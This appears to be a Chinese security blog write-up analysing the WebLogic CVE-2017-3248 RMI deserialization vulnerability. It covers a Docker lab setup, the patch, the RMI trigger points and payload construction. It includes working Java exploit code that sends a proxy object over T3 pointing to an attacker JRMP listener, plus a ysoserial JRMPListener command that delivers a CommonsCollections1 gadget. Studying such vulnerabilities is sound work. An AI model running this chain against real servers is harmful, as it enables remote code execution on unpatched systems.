【技术分享】RMI初探—Weblogic CVE-2017-3248反序列化漏洞

VSole2021-09-23 18:00:00

0×1漏洞背景

该漏洞是继CVE-2015-4852、CVE-2016-0638、CVE-2016-3510之后的又一个重量级反序列化漏洞。该漏洞使用了在当时为新型技术的rmi反序列化漏洞绕过了之前的修补补丁 。适用版本包括了10.3.6.0、12.1.3.0、12.2.1.0以及12.2.1.1等多个版本。笔者将从环境搭建、漏洞补丁分析、绕过方法思考、payload构建等多个方面进行研究,尽可能的将一些坑点和知识点摸排清楚,从0到1学习weblogic反序列化。

0×2环境搭建及补丁安装

0x1 环境搭建

1.1 现成环境

可以采用现成的docker环境,执行以下命令生成对应版本的docker

docker run -d -p 7001:7001 -p 8453:8453 turkeys/weblogic:10.3.6

1.2 自动搭建

利用Docker自动化搭建,在github下载搭建代码

[https://github.com/BabyTeam1024/WeblogicAutoBuild.git](https://github.com/BabyTeam1024/WeblogicAutoBuild.git)

本次实验环境采用jdk7u21和weblogic 10.3.6.0,在jdk_use和weblogic_use文件夹下存放相对应版本的程序

执行如下命令:

./WeblogicDockerBuild.shdocker-compose up -d

详情可参考https://www.yuque.com/docs/share/c95cbc62-d853-4de3-94ff-282b2de3b456

0x2 补丁安装

本次使用的补丁是 p23094342_1036_Generic.zip(需要补丁的同学可以联系笔者获取)

获取到补丁后用如下指令进行安装

cd /weblogic/oracle/middleware/utils/bsu./bsu.sh -install -patch_download_dir=/weblogic/oracle/middleware/utils/bsu/cache_dir/ -patchlist=UIAL -prod_dir=/weblogic/oracle/middleware/wlserver
补丁信息如下

0×3补丁分析及绕过

0x1 补丁分析

第一时间拿到补丁后,使用之前的CVE-2016-3510 payload打了下没有反应,并且从log中发现如下报错

从报错中清楚的了解到MarshalledObject是不可被反序列化的。反过头来看下补丁是如何修补的。头脑简单的笔者一开始认为这次又是添加了什么白名单,就在各种blacklist中疯狂寻找,无果,郁闷了半天。突然在使用idea分析时在补丁包中发现了一个MarshalledObject.class文件,如下所示

笔者为了证明是这个相同包路径的接口影响了MarshalledObject反序列化,做了以下操作

mkdir testcp BUG23094342_10360160719.jar test/tar xvf BUG23094342_10360160719.jarrm BUG23094342_10360160719.jar rm weblogic/corba/utils/MarshalledObject.classtar -cvf BUG23094342_10360160719.jar ./

然后再使用CVE-2016-3510 payload试了下,发现可以成功

那么总结下这次补丁是编写相同包名和类名的接口覆盖之前的类,使其变得不可反序列化,妙啊!

0x2 前置知识-RMI反序列化

理论上讲找个类替代MarshalledObject的功能即可完成绕过,但这次并没有这么做,而是引出了一种比较有意思的反序列化漏洞,RMI反序列化漏洞(关于这个系列的漏洞,笔者打算单独开个板块进行分析)。这次主要介绍如何绕过该补丁。

RMI 为Java远程方法调用,是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。RMI反序列整个体系比较复杂,但一般掌握了其中几个知识点就可以应对很多场景了。笔者在整理RMI知识的时候,总结了RMI通信过程中可利用的反序列化点

大致分为三类

客户端触发,服务端触发和注册中心触发,ysoserial中涉及的几个反序列化点都在对应的地方标注了。

客户端触发

1.当客户端向注册中心发送lookup数据包时注册中心会把stub对象返回给客户端并在客户端触发readObject

2.当客户端使用StreamRemoteCall与远程通信时,在executeCall函数中存在反序列化在客户端触发readObject(payloads/JRMPClient配合exploit/JRMPListener)

3.当客户端使用DGCImpl_Stub与DGC服务端交互式时会在dirty函数中反序列化远程传递过来的Lease对象序列化后的数据,在客户端触发readObject

服务端触发

1.当客户端向服务端发送调用远程方法的请求时会先使用DGCImpl_Stub和服务端通信,在处理dirty请求时会在对象申请和引用的时候在服务端触发readObject(exploit/JRMPClient,可配合payloads/JRMPListener)

注册中心触发

1.当客户端向注册中心发送lookup数据包时会把binding中stub对应的String类型名字以序列化的形式发送,注册中心收到数据包后,将会在注册端触发readObject,反序列化传过来的名字。

2.当服务端或客户端向注册中心(RegistryImpl)bind绑定stub的时候会在注册端触发readObject(exploit/RMIRegistryExploit)

3.当服务端或客户端向注册中心(RegistryImpl)unbind解绑stub的时候会在注册端触发readObject

4.当服务端或客户端向注册中心(RegistryImpl)rebind重新绑定stub的时候会在注册端触发readObject

0x3 RMI反序列化原理

CVE-2017-3248 可采用客户端或是服务端触发两种方式绕过上次漏洞补丁。重点分析payloads/JRMPClient配合exploit/JRMPListener完成此次攻击利用的深层次原理。

payloads/JRMPClient的反序列化背景是客户端获取到来自RegistryImpl_Skel的回应后,将会调用DGCClient的与远程DGCServer进行通信。调用栈如下

主要问题出现在StreamRemoteCall.class类的executeCall函数上

观察发现this.in为ConnectionInputStream类型并没有黑名单的限制,因此只要服务端可控,就可以像客户端发送任意反序列化数据。

碰巧的是在RemoteObjectInvocationHandler的反序列化代码里会调用这个StreamRemoteCall类里的executeCall方法

结合之前的调用栈dgc.dirty函数就已经可以触发到executeCall代码

0×4利用方法

0x1 如何构造Payload

前面分析了漏洞原理,那么客户端需要构建怎样的代码才能触发到反序列化呢?这个还要从rmi机制说起,详细内容可以将会在之后的rmi专题进行讲解,这里只是把大概逻辑捋一捋,这一节会有很多类和变量,不理解没关系主要了解过程。

首先思考一个问题,RMI客户端如何调用远程服务器上的其他类?RMI机制是这么做的,涉及到对端调用的类将会生成类似Stub和Skel的对等结构,其中Stub在客户端保存(客户端可自己生成比如RegistryImpl_stub,也可通过网络通过网络从服务端获取Proxy(MyclassImpl))。因为我们只分析客户端,这里引出一张客户端RMI调用流程图

  • 黄线:客户端首先调用getRegistry函数生成注册中心Stub(RegistryImpl_stub)
  • 黄线:接着通过lookup方法与远程服务通信,远程服务会在ObjectTable中匹配该stub包含的Target,进行路由分发
  • 紫线:服务端接收到lookup请求后,会将已经生成好的代理类Proxy(MyclassImpl)返回给客户端
  • 绿线:客户端收到代理类Stub,直接调用其中的方法就会与远程服务通信并在远程执行相关代码

我们重点关注下紫线部分的处理流程,服务端到底返回的是个什么东西,我们找到服务端启动代码

当代码执行到13行时,因为UserImpl继承了UnicastRemoteObject类并且在构造方法里调用了父类构造方法,所以将会执行UnicastRemoteObject类中的构造方法

构造方法会调用exportObject

下面重点来了,如何封装传递给Client端的Stub

方便理解笔者倒着分析,在最后利用RemoteObjectInvocationHandler代理了我们需要执行的类,那么RemoteRef是如何而来的,从当前代码中只能看见时getClientRef获取到的

getClientRef代码如下,this.ref是什么时候赋值的?

在UnicastRemoteObject构造方法一开始时就赋值了,sref如何生成

sref其实是UnicastServerRef是UnicastRef的子类

在其构造方法中创建了LiveRef对象并赋值给了UnicastRef的ref变量

可能会有些绕,整体可以总结为如下代码

ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint("192.168.0.213", 7777);UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);

仿照服务端的createProxy函数,将RemoteObjectInvocationHandler封装进代理类。

(Registry)Proxy.newProxyInstance(cve_2017_3248.class.getClassLoader(), new Class[]{Registry.class}, obj)

利用代码如下所示,完整项目代码在https://github.com/BabyTeam1024/CVE-2017-3248

package main;
import com.supeream.serial.Serializables;import com.supeream.weblogic.T3ProtocolOperation;import sun.rmi.server.UnicastRef;import sun.rmi.transport.LiveRef;import sun.rmi.transport.tcp.TCPEndpoint;import java.lang.reflect.Proxy;import java.rmi.registry.Registry;import java.rmi.server.ObjID;import java.rmi.server.RemoteObjectInvocationHandler;import java.util.Random;
public class cve_2017_3248 {    public Object getObject(){        ObjID id = new ObjID(new Random().nextInt()); // RMI registry        TCPEndpoint te = new TCPEndpoint("192.168.0.213", 7777);        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);        Registry proxy = (Registry)Proxy.newProxyInstance(cve_2017_3248.class.getClassLoader(), new Class[]{Registry.class}, obj);        return proxy;    }    public static void main(String[] args) throws Exception {        Object obj = new cve_2017_3248().getObject();        byte[] payload2 = Serializables.serialize(obj);        T3ProtocolOperation.send("127.0.0.1", "7001", payload2);    }}

0x2 整合利用

整个过程使用JRMP Server端反打Client端

Step 1 使用JRMPListener监听端口

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar  ysoserial.exploit.JRMPListener 7777 CommonsCollections1 'touch /tmp/D4ck'

Step 2 发送漏洞payload

反序列化数据中包含rmi 客户端链接代码

0×5总结

CVE-2017-3248 使用了RMI反序列化漏洞,也揭开了笔者分析RMI漏洞原理的新篇章。后面将不断分析Weblogic相关反序列化漏洞,以及系统总结整理RMI反序列化漏洞的基础知识和简单利用。

序列化rmi
本作品采用《CC 协议》,转载必须注明作者和本文链接
RMI存在着三个主体RMI RegistryRMI ClientRMI Server
该漏洞是继CVE-2015-4852、CVE-2016-0638、CVE-2016-3510之后的又一个重量级反序列化漏洞。
序列化漏洞汇总
2022-01-07 22:17:34
漏洞出现在WLS Security组件,允许远程攻击者执行任意命令。攻击者通过向TCP端口7001发送T3协议流量,其中包含精心构造的序列化Java对象利用此漏洞。然后将其序列化,提交给未做安全检测的Java应用。Java应用在进行反序列化操作时,则会触发TransformedMap的变换函数,执行预设的命令。
一次完整的渗透测试
2021-11-19 15:35:41
渗透测试中,Web端最常见的问题大多出现在弱口令、文件上传、未授权、任意文件读取、反序列化、模版漏洞等方面。因此,我们着重围绕这些方面进行渗透。
常见端口渗透总结
2022-01-16 22:32:17
这样,客户端就能命令FTP服务器发一个文件给被攻击的服务。基于Linux系统,配置方面很简单。在nfs配置中,有不做任何限制的,有限制用户,有限制IP,以及在版本2.x中我们还可以使用证书来验证用户。当然不同的限制可以采用的攻击方式也不一样;就目前而言网上关于nfs的攻击还是比较少的!但是毕竟主流的攻击方式仍旧是那些,比如注入,未授权等等;这些问题的出现也都是因为配置不当而造成的。
Apache OFBiz是一个电子商务平台,用于构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类应用系统。2021年3月22日 Apache OFBiz官方发布安全更新,修复了一处由RMI序列化造成的远程代码执行漏洞(CVE-2021-26295)。攻击者可构造恶意请求,触发反序列化,从而造成任意代码执行,控制服务器。
VSole
网络安全专家